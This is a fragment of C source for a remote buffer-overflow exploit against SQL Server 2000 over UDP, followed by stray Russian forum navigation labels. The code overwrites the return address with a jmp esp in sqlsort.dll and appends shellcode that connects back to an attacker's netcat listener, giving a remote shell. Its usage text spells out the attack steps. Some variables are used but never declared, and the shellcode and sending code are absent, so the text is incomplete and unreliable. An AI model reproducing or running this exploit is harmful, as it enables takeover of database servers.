int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0;
int count = 0;
char sc[300]="";
char ipaddress[40]="";
unsigned short port = 0;
unsigned int ip = 0;
char *ipt="";
char buffer[400]="";
unsigned short prt=0;
char *prtt="";
if(argc != 2 && argc != 5)
{
printf("===============================================================\r\n");
printf("SQL Server UDP Buffer Overflow Remote Exploit\r\n\n");
printf("Modified from \"Advanced Windows Shellcode\"\r\n");
printf("Code by David Litchfield, david@ngssoftware.com\r\n");
printf("Modified by lion, fix a bug.\r\n");
printf("Welcome to HUC Website http://www.cnhonker.com\r\n\n");
printf("Usage:\r\n");
printf(" %s Target [<NCHost> <NCPort> <SQLSP>]\r\n\n", argv[0]);
printf("Exemple:\r\n");
printf(" C:\\>nc -l -p 53\r\n");
printf("Target is MSSQL SP 0:\r\n");
printf(" C:\\>%s 192.168.0.1 192.168.7.1 53 0\r\n",argv[0]);
printf("Target is MSSQL SP 1 or 2:\r\n");
printf(" c:\\>%s 192.168.0.1 192.168.7.1 53 1\r\n\n", argv[0]);
return 0;
}
strncpy(host, argv[1], 100);
strncpy(ipaddress, argv[2], 36);
port = atoi(argv[3]);
// SQL Server 2000 Service pack level
// The import entry for GetProcAddress in sqlsort.dll
// is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae101C
// Need to set the last byte accordingly
// set this IP address to connect back to
// this should be your address
ip = inet_addr(ipaddress);
ipt = (char*)&ip;
buffer[142]=ipt[0];
buffer[143]=ipt[1];
buffer[144]=ipt[2];
buffer[145]=ipt[3];
// set the TCP port to connect on
// netcat should be listening on this port
// e.g. nc -l -p 80
// Overwrite the saved return address on the stack
// This address contains a jmp esp instruction
// and is in sqlsort.dll.
strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC
// Need to do a near jump
strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");
// Need to set an address which is writable or
// sql server will crash before we can exploit
// the overrun. Rather than choosing an address
// on the stack which could be anywhere we'll
// use an address in the .data segment of sqlsort.dll
// as we're already using sqlsort for the saved
// return address
// SQL 2000 no service packs needs the address here
strcat(request,"\x01\x70\xAE\x42");
// SQL 2000 Service Pack 2 needs the address here
strcat(request,"\x01\x70\xAE\x42");
// just a few nops
strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");
len = strlen(request)+ explen;
// tack on exploit code to the end of our request and fire it off
memcpy(request+strlen(request), buffer, explen);
подробно о проекте
Анализ криптографических сетевых...
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
